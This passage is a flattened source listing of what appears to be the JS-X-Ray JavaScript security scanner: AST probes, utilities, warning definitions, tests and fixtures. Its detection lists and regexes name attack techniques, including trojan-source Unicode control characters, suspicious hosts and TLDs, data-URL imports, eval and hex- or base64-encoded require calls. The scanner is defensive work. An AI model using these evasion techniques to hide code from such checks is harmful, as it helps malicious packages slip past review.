hexadecimal id names generator 12 | return deobfuscator.hasPrefixedIdentifiers && hasSomePatterns; 13 | } 14 | -------------------------------------------------------------------------------- /src/obfuscators/trojan-source.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Dangerous Unicode control characters that can be used by hackers 3 | * to perform trojan source. 4 | */ 5 | const kUnsafeUnicodeControlCharacters = [ 6 | "\u202A", 7 | "\u202B", 8 | "\u202D", 9 | "\u202E", 10 | "\u202C", 11 | "\u2066", 12 | "\u2067", 13 | "\u2068", 14 | "\u2069", 15 | "\u200E", 16 | "\u200F", 17 | "\u061C" 18 | ]; 19 | 20 | export function verify(sourceString) { 21 | for (const unsafeCharacter of kUnsafeUnicodeControlCharacters) { 22 | if (sourceString.includes(unsafeCharacter)) { 23 | return true; 24 | } 25 | } 26 | 27 | return false; 28 | } 29 | -------------------------------------------------------------------------------- /src/probes/isArrayExpression.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { extractNode } from "../utils/index.js"; 3 | 4 | // CONSTANTS 5 | const kLiteralExtractor = extractNode("Literal"); 6 | 7 | /** 8 | * @description Search for ArrayExpression AST Node (Commonly known as JS Arrays) 9 | * 10 | * @see https://github.com/estree/estree/blob/master/es5.md#arrayexpression 11 | * @example 12 | * ["foo", "bar", 1] 13 | */ 14 | function validateNode(node) { 15 | return [ 16 | node.type === "ArrayExpression" 17 | ]; 18 | } 19 | 20 | function main(node, { sourceFile }) { 21 | kLiteralExtractor( 22 | (literalNode) => sourceFile.analyzeLiteral(literalNode, true), 23 | node.elements 24 | ); 25 | } 26 | 27 | export default { 28 | name: "isArrayExpression", 29 | validateNode, 30 | main, 31 | breakOnMatch: false 32 | }; 33 | -------------------------------------------------------------------------------- /src/probes/isBinaryExpression.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @description Search for BinaryExpression AST Node. 3 | * 4 | * @see https://github.com/estree/estree/blob/master/es5.md#binaryexpression 5 | * @example 6 | * 5 + 5 + 10 7 | */ 8 | function validateNode(node) { 9 | return [ 10 | node.type === "BinaryExpression" 11 | ]; 12 | } 13 | 14 | function main(node, options) { 15 | const { sourceFile } = options; 16 | 17 | const [binaryExprDeepness, hasUnaryExpression] = walkBinaryExpression(node); 18 | if (binaryExprDeepness >= 3 && hasUnaryExpression) { 19 | sourceFile.deobfuscator.deepBinaryExpression++; 20 | } 21 | } 22 | 23 | /** 24 | * @description Look for suspicious BinaryExpression (read the Obfuscator.io section of the linked G.Doc) 25 | * @see https://docs.google.com/document/d/11ZrfW0bDQ-kd7Gr_Ixqyk8p3TGvxckmhFH3Z8dFoPhY/edit?usp=sharing 26 | * @see https://github.com/estree/estree/blob/master/es5.md#unaryexpression 27 | * @example 28 | * 0x1*-0x12df+-0x1fb9*-0x1+0x2*-0x66d 29 | */ 30 | function walkBinaryExpression(expr, level = 1) { 31 | const [lt, rt] = [expr.left.type, expr.right.type]; 32 | let hasUnaryExpression = lt === "UnaryExpression" || rt === "UnaryExpression"; 33 | let currentLevel = lt === "BinaryExpression" || rt === "BinaryExpression" ? level + 1 : level; 34 | 35 | for (const currExpr of [expr.left, expr.right]) { 36 | if (currExpr.type === "BinaryExpression") { 37 | const [deepLevel, deepHasUnaryExpression] = walkBinaryExpression(currExpr, currentLevel); 38 | if (deepLevel > currentLevel) { 39 | currentLevel = deepLevel; 40 | } 41 | if (!hasUnaryExpression && deepHasUnaryExpression) { 42 | hasUnaryExpression = true; 43 | } 44 | } 45 | } 46 | 47 | return [currentLevel, hasUnaryExpression]; 48 | } 49 | 50 | export default { 51 | name: "isBinaryExpression", 52 | validateNode, 53 | main, 54 | breakOnMatch: false 55 | }; 56 | -------------------------------------------------------------------------------- /src/probes/isESMExport.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @description Search for ESM Export 3 | * 4 | * @example 5 | * export { bar } from "./foo.js"; 6 | * export * from "./bar.js"; 7 | */ 8 | function validateNode(node) { 9 | return [ 10 | /** 11 | * We must be sure that the source property is a Literal to not fall in a trap 12 | * export const foo = "bar"; 13 | */ 14 | (node.type === "ExportNamedDeclaration" && node.source?.type === "Literal") || 15 | node.type === "ExportAllDeclaration" 16 | ]; 17 | } 18 | 19 | function main(node, { sourceFile }) { 20 | sourceFile.addDependency( 21 | node.source.value, 22 | node.loc 23 | ); 24 | } 25 | 26 | export default { 27 | name: "isESMExport", 28 | validateNode, 29 | main, 30 | breakOnMatch: true 31 | }; 32 | -------------------------------------------------------------------------------- /src/probes/isFetch.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import { getCallExpressionIdentifier } from "@nodesecure/estree-ast-utils"; 3 | 4 | function validateNode(node) { 5 | const id = getCallExpressionIdentifier(node); 6 | 7 | return [id === "fetch"]; 8 | } 9 | 10 | function main(_node, { sourceFile }) { 11 | sourceFile.flags.add("fetch"); 12 | } 13 | 14 | export default { 15 | name: "isFetch", 16 | validateNode, 17 | main, 18 | breakOnMatch: false 19 | }; 20 | -------------------------------------------------------------------------------- /src/probes/isImportDeclaration.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @description Search for ESM ImportDeclaration 3 | * @see https://github.com/estree/estree/blob/master/es2015.md#importdeclaration 4 | * @example 5 | * import * as foo from "bar"; 6 | * import fs from "fs"; 7 | * import "make-promises-safe"; 8 | */ 9 | function validateNode(node) { 10 | return [ 11 | // Note: the source property is the right-side Literal part of the Import 12 | ["ImportDeclaration", "ImportExpression"].includes(node.type) && node.source.type === "Literal" 13 | ]; 14 | } 15 | 16 | function main(node, options) { 17 | const { sourceFile } = options; 18 | 19 | // Searching for dangerous import "data:text/javascript;..." statement. 20 | // see: https://2ality.com/2019/10/eval-via-import.html 21 | if (node.source.value.startsWith("data:text/javascript")) { 22 | sourceFile.addWarning("unsafe-import", node.source.value, node.loc); 23 | } 24 | sourceFile.addDependency(node.source.value, node.loc); 25 | } 26 | 27 | export default { 28 | name: "isImportDeclaration", 29 | validateNode, 30 | main, 31 | breakOnMatch: true, 32 | breakGroup: "import" 33 | }; 34 | -------------------------------------------------------------------------------- /src/probes/isLiteral.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { builtinModules } from "module"; 3 | 4 | // Import Third-party Dependencies 5 | import { Hex } from "@nodesecure/sec-literal"; 6 | 7 | const kMapRegexIps = Object.freeze({ 8 | // eslint-disable-next-line @stylistic/max-len 9 | regexIPv4: /^(https?:\/\/)(?!127\.)(?!.*:(?:0{1,3}|25[6-9])\.)(?!.*:(?:25[6-9])\.(?:0{1,3}|25[6-9])\.)(?!.*:(?:25[6-9])\.(?:25[6-9])\.(?:0{1,3}|25[6-9])\.)(?!.*:(?:25[6-9])\.(?:25[6-9])\.(?:25[6-9])\.(?:0{1,3}|25[6-9]))((?:\d{1,2}|1\d{2}|2[0-4]\d|25[0-5])\.){3}(?:\d{1,2}|1\d{2}|2[0-4]\d|25[0-5])(?::\d{1,5})?(\/[^\s]*)?$/, 10 | regexIPv6: /^(https?:\/\/)(\[[0-9A-Fa-f:]+\])(?::\d{1,5})?(\/[^\s]*)?$/ 11 | }); 12 | 13 | // CONSTANTS 14 | const kNodeDeps = new Set(builtinModules); 15 | const kShadyLinkRegExps = [ 16 | kMapRegexIps.regexIPv4, 17 | kMapRegexIps.regexIPv6, 18 | /(http[s]?:\/\/(bit\.ly|ipinfo\.io|httpbin\.org).*)$/, 19 | /(http[s]?:\/\/.*\.(link|xyz|tk|ml|ga|cf|gq|pw|top|club|mw|bd|ke|am|sbs|date|quest|cd|bid|cd|ws|icu|cam|uno|email|stream))$/ 20 | ]; 21 | /** 22 | * @description Search for Literal AST Node 23 | * @see https://github.com/estree/estree/blob/master/es5.md#literal 24 | * @example 25 | * "foobar" 26 | */ 27 | function validateNode(node) { 28 | return [ 29 | node.type === "Literal" && typeof node.value === "string" 30 | ]; 31 | } 32 | 33 | function main(node, options) { 34 | const { sourceFile } = options; 35 | 36 | // We are searching for value obfuscated as hex of a minimum length of 4. 37 | if (/^[0-9A-Fa-f]{4,}$/g.test(node.value)) { 38 | const value = Buffer.from(node.value, "hex").toString(); 39 | sourceFile.deobfuscator.analyzeString(value); 40 | 41 | // If the value we are retrieving is the name of a Node.js dependency, 42 | // then we add it to the dependencies list and we throw an unsafe-import at the current location. 43 | if (kNodeDeps.has(value)) { 44 | sourceFile.addDependency(value, node.loc); 45 | sourceFile.addWarning("unsafe-import", null, node.loc); 46 | } 47 | else if (value === "require" || !Hex.isSafe(node.value)) { 48 | sourceFile.addWarning("encoded-literal", node.value, node.loc); 49 | } 50 | } 51 | // Else we are checking all other string with our suspect method 52 | else { 53 | for (const regex of kShadyLinkRegExps) { 54 | if (regex.test(node.value)) { 55 | sourceFile.addWarning("shady-link", node.value, node.loc); 56 | 57 | return; 58 | } 59 | } 60 | 61 | sourceFile.analyzeLiteral(node); 62 | } 63 | } 64 | 65 | export default { 66 | name: "isLiteral", 67 | validateNode, 68 | main, 69 | breakOnMatch: false 70 | }; 71 | -------------------------------------------------------------------------------- /src/probes/isLiteralRegex.js: -------------------------------------------------------------------------------- 1 | // Require Third-party Dependencies 2 | import { isLiteralRegex } from "@nodesecure/estree-ast-utils"; 3 | import safeRegex from "safe-regex"; 4 | 5 | /** 6 | * @description Search for RegExpLiteral AST Node 7 | * @see https://github.com/estree/estree/blob/master/es5.md#regexpliteral 8 | * @example 9 | * /hello/ 10 | */ 11 | function validateNode(node) { 12 | return [ 13 | isLiteralRegex(node) 14 | ]; 15 | } 16 | 17 | function main(node, options) { 18 | const { sourceFile } = options; 19 | 20 | // We use the safe-regex package to detect whether or not regex is safe! 21 | if (!safeRegex(node.regex.pattern)) { 22 | sourceFile.addWarning("unsafe-regex", node.regex.pattern, node.loc); 23 | } 24 | } 25 | 26 | export default { 27 | name: "isLiteralRegex", 28 | validateNode, 29 | main, 30 | breakOnMatch: false 31 | }; 32 | -------------------------------------------------------------------------------- /src/probes/isRegexObject.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import { isLiteralRegex } from "@nodesecure/estree-ast-utils"; 3 | import safeRegex from "safe-regex"; 4 | 5 | /** 6 | * @description Search for Regex Object constructor. 7 | * @see https://github.com/estree/estree/blob/master/es5.md#newexpression 8 | * @example 9 | * new RegExp("..."); 10 | */ 11 | function validateNode(node) { 12 | return [ 13 | isRegexConstructor(node) && node.arguments.length > 0 14 | ]; 15 | } 16 | 17 | function main(node, options) { 18 | const { sourceFile } = options; 19 | 20 | const arg = node.arguments[0]; 21 | /** 22 | * Note: RegExp Object can contain a RegExpLiteral 23 | * @see https://github.com/estree/estree/blob/master/es5.md#regexpliteral 24 | * 25 | * @example 26 | * new RegExp(/^foo/) 27 | */ 28 | const pattern = isLiteralRegex(arg) ? arg.regex.pattern : arg.value; 29 | 30 | // We use the safe-regex package to detect whether or not regex is safe! 31 | if (!safeRegex(pattern)) { 32 | sourceFile.addWarning("unsafe-regex", pattern, node.loc); 33 | } 34 | } 35 | 36 | function isRegexConstructor(node) { 37 | if (node.type !== "NewExpression" || node.callee.type !== "Identifier") { 38 | return false; 39 | } 40 | 41 | return node.callee.name === "RegExp"; 42 | } 43 | 44 | export default { 45 | name: "isRegexObject", 46 | validateNode, 47 | main, 48 | breakOnMatch: false 49 | }; 50 | -------------------------------------------------------------------------------- /src/probes/isRequire/RequireCallExpressionWalker.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import path from "node:path"; 3 | 4 | // Import Third-party Dependencies 5 | import { Hex } from "@nodesecure/sec-literal"; 6 | import { walk as doWalk } from "estree-walker"; 7 | import { 8 | arrayExpressionToString, 9 | getMemberExpressionIdentifier, 10 | getCallExpressionArguments 11 | } from "@nodesecure/estree-ast-utils"; 12 | 13 | export class RequireCallExpressionWalker { 14 | constructor(tracer) { 15 | this.tracer = tracer; 16 | this.dependencies = new Set(); 17 | this.triggerWarning = true; 18 | } 19 | 20 | walk(nodeToWalk) { 21 | this.dependencies = new Set(); 22 | this.triggerWarning = true; 23 | 24 | // we need the `this` context of doWalk.enter 25 | const self = this; 26 | doWalk(nodeToWalk, { 27 | enter(node) { 28 | if (node.type !== "CallExpression" || node.arguments.length === 0) { 29 | return; 30 | } 31 | 32 | const rootArgument = node.arguments.at(0); 33 | if (rootArgument.type === "Literal" && Hex.isHex(rootArgument.value)) { 34 | self.dependencies.add(Buffer.from(rootArgument.value, "hex").toString()); 35 | this.skip(); 36 | 37 | return; 38 | } 39 | 40 | const fullName = node.callee.type === "MemberExpression" ? 41 | [...getMemberExpressionIdentifier(node.callee)].join(".") : 42 | node.callee.name; 43 | const tracedFullName = self.tracer.getDataFromIdentifier(fullName)?.identifierOrMemberExpr ?? fullName; 44 | switch (tracedFullName) { 45 | case "atob": 46 | self.#handleAtob(node); 47 | break; 48 | case "Buffer.from": 49 | self.#handleBufferFrom(node); 50 | break; 51 | case "require.resolve": 52 | self.#handleRequireResolve(rootArgument); 53 | break; 54 | case "path.join": 55 | self.#handlePathJoin(node); 56 | break; 57 | } 58 | } 59 | }); 60 | 61 | return { dependencies: this.dependencies, triggerWarning: this.triggerWarning }; 62 | } 63 | 64 | #handleAtob(node) { 65 | const nodeArguments = getCallExpressionArguments(node, { tracer: this.tracer }); 66 | if (nodeArguments !== null) { 67 | this.dependencies.add(Buffer.from(nodeArguments.at(0), "base64").toString()); 68 | } 69 | } 70 | 71 | #handleBufferFrom(node) { 72 | const [element] = node.arguments; 73 | if (element.type === "ArrayExpression") { 74 | const depName = [...arrayExpressionToString(element)].join("").trim(); 75 | this.dependencies.add(depName); 76 | } 77 | } 78 | 79 | #handleRequireResolve(rootArgument) { 80 | if (rootArgument.type === "Literal") { 81 | this.dependencies.add(rootArgument.value); 82 | } 83 | } 84 | 85 | #handlePathJoin(node) { 86 | if (!node.arguments.every((arg) => arg.type === "Literal" && typeof arg.value === "string")) { 87 | return; 88 | } 89 | const constructedPath = path.posix.join(...node.arguments.map((arg) => arg.value)); 90 | this.dependencies.add(constructedPath); 91 | this.triggerWarning = false; 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /src/probes/isUnsafeCallee.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { isUnsafeCallee } from "../utils/index.js"; 3 | import { ProbeSignals } from "../ProbeRunner.js"; 4 | 5 | /** 6 | * @description Detect unsafe statement 7 | * @example 8 | * eval("this"); 9 | * Function("return this")(); 10 | */ 11 | function validateNode(node) { 12 | return isUnsafeCallee(node); 13 | } 14 | 15 | function main(node, options) { 16 | const { sourceFile, data: calleeName } = options; 17 | 18 | if ( 19 | calleeName === "Function" && 20 | node.callee.arguments.length > 0 && 21 | node.callee.arguments[0].value === "return this" 22 | ) { 23 | return ProbeSignals.Skip; 24 | } 25 | sourceFile.addWarning("unsafe-stmt", calleeName, node.loc); 26 | 27 | return ProbeSignals.Skip; 28 | } 29 | 30 | export default { 31 | name: "isUnsafeCallee", 32 | validateNode, 33 | main, 34 | breakOnMatch: false 35 | }; 36 | -------------------------------------------------------------------------------- /src/probes/isWeakCrypto.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import { getCallExpressionIdentifier } from "@nodesecure/estree-ast-utils"; 3 | 4 | // CONSTANTS 5 | const kWeakAlgorithms = new Set([ 6 | "md5", 7 | "sha1", 8 | "ripemd160", 9 | "md4", 10 | "md2" 11 | ]); 12 | 13 | function validateNode(node, { tracer }) { 14 | const id = getCallExpressionIdentifier(node); 15 | if (id === null || !tracer.importedModules.has("crypto")) { 16 | return [false]; 17 | } 18 | 19 | const data = tracer.getDataFromIdentifier(id); 20 | 21 | return [data !== null && data.identifierOrMemberExpr === "crypto.createHash"]; 22 | } 23 | 24 | function main(node, { sourceFile }) { 25 | const arg = node.arguments.at(0); 26 | 27 | if (kWeakAlgorithms.has(arg.value)) { 28 | sourceFile.addWarning("weak-crypto", arg.value, node.loc); 29 | } 30 | } 31 | 32 | export default { 33 | name: "isWeakCrypto", 34 | validateNode, 35 | main, 36 | breakOnMatch: false 37 | }; 38 | -------------------------------------------------------------------------------- /src/utils/exportAssignmentHasRequireLeave.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import { 3 | getCallExpressionIdentifier 4 | } from "@nodesecure/estree-ast-utils"; 5 | 6 | export function exportAssignmentHasRequireLeave(expr) { 7 | if (expr.type === "LogicalExpression") { 8 | return atLeastOneBranchHasRequireLeave(expr.left, expr.right); 9 | } 10 | 11 | if (expr.type === "ConditionalExpression") { 12 | return atLeastOneBranchHasRequireLeave(expr.consequent, expr.alternate); 13 | } 14 | 15 | if (expr.type === "CallExpression") { 16 | return getCallExpressionIdentifier(expr) === "require"; 17 | } 18 | 19 | if (expr.type === "MemberExpression") { 20 | let rootMember = expr.object; 21 | while (rootMember.type === "MemberExpression") { 22 | rootMember = rootMember.object; 23 | } 24 | 25 | if (rootMember.type !== "CallExpression") { 26 | return false; 27 | } 28 | 29 | return getCallExpressionIdentifier(rootMember) === "require"; 30 | } 31 | 32 | return false; 33 | } 34 | 35 | function atLeastOneBranchHasRequireLeave(left, right) { 36 | return [ 37 | exportAssignmentHasRequireLeave(left), 38 | exportAssignmentHasRequireLeave(right) 39 | ].some((hasRequire) => hasRequire); 40 | } 41 | -------------------------------------------------------------------------------- /src/utils/extractNode.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { notNullOrUndefined } from "./notNullOrUndefined.js"; 3 | 4 | export function extractNode(expectedType) { 5 | return (callback, nodes) => { 6 | const finalNodes = Array.isArray(nodes) ? nodes : [nodes]; 7 | 8 | for (const node of finalNodes) { 9 | if (notNullOrUndefined(node) && node.type === expectedType) { 10 | callback(node); 11 | } 12 | } 13 | }; 14 | } 15 | -------------------------------------------------------------------------------- /src/utils/index.js: -------------------------------------------------------------------------------- 1 | export * from "./exportAssignmentHasRequireLeave.js"; 2 | export * from "./extractNode.js"; 3 | export * from "./isOneLineExpressionExport.js"; 4 | export * from "./isUnsafeCallee.js"; 5 | export * from "./notNullOrUndefined.js"; 6 | export * from "./rootLocation.js"; 7 | export * from "./toArrayLocation.js"; 8 | export * from "./isNode.js"; 9 | -------------------------------------------------------------------------------- /src/utils/isNode.js: -------------------------------------------------------------------------------- 1 | export function isNode(value) { 2 | return ( 3 | value !== null && typeof value === "object" && "type" in value && typeof value.type === "string" 4 | ); 5 | } 6 | -------------------------------------------------------------------------------- /src/utils/isOneLineExpressionExport.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { exportAssignmentHasRequireLeave } from "./exportAssignmentHasRequireLeave.js"; 3 | 4 | export function isOneLineExpressionExport(body) { 5 | if (body.length === 0 || body.length > 1) { 6 | return false; 7 | } 8 | 9 | const [firstNode] = body; 10 | if (firstNode.type !== "ExpressionStatement") { 11 | return false; 12 | } 13 | 14 | switch (firstNode.expression.type) { 15 | // module.exports = require('...'); 16 | case "AssignmentExpression": 17 | return exportAssignmentHasRequireLeave(firstNode.expression.right); 18 | // require('...'); 19 | case "CallExpression": 20 | return exportAssignmentHasRequireLeave(firstNode.expression); 21 | default: 22 | return false; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /src/utils/isUnsafeCallee.js: -------------------------------------------------------------------------------- 1 | // Import Third-party Dependencies 2 | import { getCallExpressionIdentifier } from "@nodesecure/estree-ast-utils"; 3 | 4 | function isEvalCallee(node) { 5 | const identifier = getCallExpressionIdentifier(node, { 6 | resolveCallExpression: false 7 | }); 8 | 9 | return identifier === "eval"; 10 | } 11 | 12 | function isFunctionCallee(node) { 13 | const identifier = getCallExpressionIdentifier(node); 14 | 15 | return identifier === "Function" && node.callee.type === "CallExpression"; 16 | } 17 | 18 | export function isUnsafeCallee(node) { 19 | if (isEvalCallee(node)) { 20 | return [true, "eval"]; 21 | } 22 | 23 | if (isFunctionCallee(node)) { 24 | return [true, "Function"]; 25 | } 26 | 27 | return [false, null]; 28 | } 29 | -------------------------------------------------------------------------------- /src/utils/notNullOrUndefined.js: -------------------------------------------------------------------------------- 1 | export function notNullOrUndefined(value) { 2 | return value !== null && value !== void 0; 3 | } 4 | -------------------------------------------------------------------------------- /src/utils/rootLocation.js: -------------------------------------------------------------------------------- 1 | export function rootLocation() { 2 | return { start: { line: 0, column: 0 }, end: { line: 0, column: 0 } }; 3 | } 4 | -------------------------------------------------------------------------------- /src/utils/toArrayLocation.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { rootLocation } from "./rootLocation.js"; 3 | 4 | export function toArrayLocation(location = rootLocation()) { 5 | const { start, end = start } = location; 6 | 7 | return [ 8 | [start.line || 0, start.column || 0], 9 | [end.line || 0, end.column || 0] 10 | ]; 11 | } 12 | -------------------------------------------------------------------------------- /src/warnings.js: -------------------------------------------------------------------------------- 1 | // Import Internal Dependencies 2 | import { toArrayLocation } from "./utils/toArrayLocation.js"; 3 | import { notNullOrUndefined } from "./utils/notNullOrUndefined.js"; 4 | 5 | export const warnings = Object.freeze({ 6 | "parsing-error": { 7 | i18n: "sast_warnings.parsing_error", 8 | severity: "Information" 9 | }, 10 | "unsafe-import": { 11 | i18n: "sast_warnings.unsafe_import", 12 | severity: "Warning" 13 | }, 14 | "unsafe-regex": { 15 | i18n: "sast_warnings.unsafe_regex", 16 | severity: "Warning" 17 | }, 18 | "unsafe-stmt": { 19 | code: "unsafe-stmt", 20 | i18n: "sast_warnings.unsafe_stmt", 21 | severity: "Warning" 22 | }, 23 | "encoded-literal": { 24 | i18n: "sast_warnings.encoded_literal", 25 | severity: "Information" 26 | }, 27 | "short-identifiers": { 28 | i18n: "sast_warnings.short_identifiers", 29 | severity: "Warning" 30 | }, 31 | "suspicious-literal": { 32 | i18n: "sast_warnings.suspicious_literal", 33 | severity: "Warning" 34 | }, 35 | "suspicious-file": { 36 | i18n: "sast_warnings.suspicious_file", 37 | severity: "Critical", 38 | experimental: false 39 | }, 40 | "obfuscated-code": { 41 | i18n: "sast_warnings.obfuscated_code", 42 | severity: "Critical", 43 | experimental: true 44 | }, 45 | "weak-crypto": { 46 | i18n: "sast_warnings.weak_crypto", 47 | severity: "Information", 48 | experimental: false 49 | }, 50 | "shady-link": { 51 | i18n: "sast_warnings.shady_link", 52 | severity: "Warning", 53 | experimental: false 54 | } 55 | }); 56 | 57 | export function generateWarning(kind, options) { 58 | const { location, file = null, value = null, source = "JS-X-Ray" } = options; 59 | 60 | if (kind === "encoded-literal") { 61 | return Object.assign( 62 | { kind, value, location: [toArrayLocation(location)], source }, 63 | warnings[kind] 64 | ); 65 | } 66 | 67 | const result = { kind, location: toArrayLocation(location), source }; 68 | if (notNullOrUndefined(file)) { 69 | result.file = file; 70 | } 71 | if (notNullOrUndefined(value)) { 72 | result.value = value; 73 | } 74 | 75 | return Object.assign(result, warnings[kind]); 76 | } 77 | 78 | -------------------------------------------------------------------------------- /test/JsSourceParser.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { describe, it } from "node:test"; 3 | 4 | // Import Internal Dependencies 5 | import { JsSourceParser } from "../index.js"; 6 | 7 | describe("JsSourceParser", () => { 8 | describe("parse", () => { 9 | it("should not crash even if isEcmaScriptModule 'false' is provided (import keyword)", () => { 10 | new JsSourceParser().parse("import * as foo from \"foo\";", { 11 | isEcmaScriptModule: false 12 | }); 13 | }); 14 | 15 | it("should not crash even if isEcmaScriptModule 'false' is provided (export keyword)", () => { 16 | new JsSourceParser().parse("export const foo = 5;", { 17 | isEcmaScriptModule: false 18 | }); 19 | }); 20 | 21 | it("should not crash with a source code containing JSX", () => { 22 | const code = `const Dropzone = forwardRef(({ children, ...params }, ref) => { 23 | const { open, ...props } = useDropzone(params); 24 | useImperativeHandle(ref, () => ({ open }), [open]); 25 | return {children({ ...props, open })}; 26 | });`; 27 | 28 | new JsSourceParser().parse(code, { 29 | isEcmaScriptModule: false 30 | }); 31 | }); 32 | 33 | it("should not crash with a source code containing import attributes", () => { 34 | const code = `import data from "./data.json" with { type: "json" }; 35 | export default data;`; 36 | new JsSourceParser().parse(code, { 37 | isEcmaScriptModule: false 38 | }); 39 | }); 40 | }); 41 | }); 42 | -------------------------------------------------------------------------------- /test/ProbeRunner.spec.js: -------------------------------------------------------------------------------- 1 | // Import Node.js Dependencies 2 | import { describe, it, mock } from "node:test"; 3 | import assert from "node:assert"; 4 | 5 | // Import Internal Dependencies 6 | import { ProbeRunner, ProbeSignals } from "../src/ProbeRunner.js"; 7 | 8 | describe("ProbeRunner", () => { 9 | describe("constructor", () => { 10 | it("should instanciate class with Defaults probes when none are provide", () => { 11 | const pr = new ProbeRunner(null); 12 | 13 | assert.strictEqual(pr.sourceFile, null); 14 | assert.strictEqual(pr.probes, ProbeRunner.Defaults); 15 | }); 16 | 17 | it("should use provided probes with validate node as func", () => { 18 | const fakeProbe = [ 19 | { 20 | validateNode: (node) => [node.type === "CallExpression"], 21 | main: mock.fn(), 22 | teardown: mock.fn() 23 | } 24 | ]; 25 | 26 | const pr = new ProbeRunner(null, fakeProbe); 27 | assert.strictEqual(pr.sourceFile, null); 28 | assert.strictEqual(pr.probes, fakeProbe); 29 | }); 30 | 31 | it("should use provided probe with validate node as Array", () => { 32 | const fakeProbe = [ 33 | { 34 | validateNode: [], 35 | main: mock.fn(), 36 | teardown: mock.fn() 37 | }]; 38 | 39 | const pr = new ProbeRunner(null, fakeProbe); 40 | assert.strictEqual(pr.sourceFile, null); 41 | assert.strictEqual(pr.probes, fakeProbe); 42 | }); 43 | 44 | it("should fail if main not present", () => { 45 | const fakeProbe = { 46 | validateNode: (node) => [node.type === "CallExpression"], 47 | teardown: mock.fn() 48 | }; 49 | 50 | function instantiateProbeRunner() { 51 | return new ProbeRunner(null, [fakeProbe]); 52 | } 53 | 54 | assert.throws(instantiateProbeRunner, Error, "Invalid probe"); 55 | }); 56 | 57 | it("should fail if validate not present", () => { 58 | const fakeProbe = { 59 | main: mock.fn(), 60 | teardown: mock.fn() 61 | }; 62 | 63 | function instantiateProbeRunner() { 64 | return new ProbeRunner(null, [fakeProbe]); 65 | } 66 | 67 | assert.throws(instantiateProbeRunner, Error, "Invalid probe"); 68 | }); 69 | }); 70 | 71 | describe("walk", () => { 72 | it("should pass validateNode, enter main and then teardown", () => { 73 | const sourceFile = {}; 74 | const fakeProbe = { 75 | validateNode: (node) => [node.type === "CallExpression"], 76 | main: mock.fn(), 77 | teardown: mock.fn() 78 | }; 79 | 80 | const pr = new ProbeRunner(sourceFile, [ 81 | fakeProbe 82 | ]); 83 | 84 | const astNode = { 85 | type: "CallExpression" 86 | }; 87 | const result = pr.walk(astNode); 88 | assert.strictEqual(result, null); 89 | 90 | assert.strictEqual(fakeProbe.main.mock.calls.length, 1); 91 | assert.deepEqual(fakeProbe.main.mock.calls.at(0).arguments, [ 92 | astNode, { sourceFile, data: null } 93 | ]); 94 | 95 | assert.strictEqual(fakeProbe.teardown.mock.calls.length, 1); 96 | assert.deepEqual(fakeProbe.teardown.mock.calls.at(0).arguments, [ 97 | { sourceFile } 98 | ]); 99 | }); 100 | 101 | it("should trigger and return a skip signal", () => { 102 | const sourceFile = {}; 103 | const fakeProbe = { 104 | validateNode: (node) => [node.type === "CallExpression"], 105 | main: () => ProbeSignals.Skip, 106 | teardown: mock.fn() 107 | }; 108 | 109 | const pr = new ProbeRunner(sourceFile, [ 110 | fakeProbe 111 | ]); 112 | 113 | const astNode = { 114 | type: "CallExpression" 115 | }; 116 | const result = pr.walk(astNode); 117 | 118 | assert.strictEqual(result, "skip"); 119 | assert.strictEqual(fakeProbe.teardown.mock.calls.length, 1); 120 | }); 121 | }); 122 | }); 123 | -------------------------------------------------------------------------------- /test/fixtures/FakeSourceParser.js: -------------------------------------------------------------------------------- 1 | export class FakeSourceParser { 2 | parse(str, options) { 3 | return [{ type: "LiteralExpression" }]; 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/deepEntry.js: -------------------------------------------------------------------------------- 1 | require("./dep1"); 2 | require("./dep2"); 3 | require("./dep3"); 4 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/default.cjs: -------------------------------------------------------------------------------- 1 | require('externalDep') 2 | require('dep.cjs') 3 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/default.js: -------------------------------------------------------------------------------- 1 | require('externalDep') 2 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/default.jsx: -------------------------------------------------------------------------------- 1 | import React from 'react' 2 | import Bar from './dep.jsx' 3 | 4 | export default function Foo() { 5 | return ( 6 | 7 | ) 8 | } 9 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/default.mjs: -------------------------------------------------------------------------------- 1 | import externalDep from 'externalDep'; 2 | import('dep.mjs') 3 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/default.node: -------------------------------------------------------------------------------- 1 | module.exports = require('dep.node'); 2 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/dep.cjs: -------------------------------------------------------------------------------- 1 | module.exports = {} 2 | -------------------------------------------------------------------------------- /test/fixtures/entryFiles/deps/dep.jsx: -------------------------------------------------------------------------------- 1 | import React from 'react' 2 | 3 | export default function Bar() { 4 | return ( 5 |
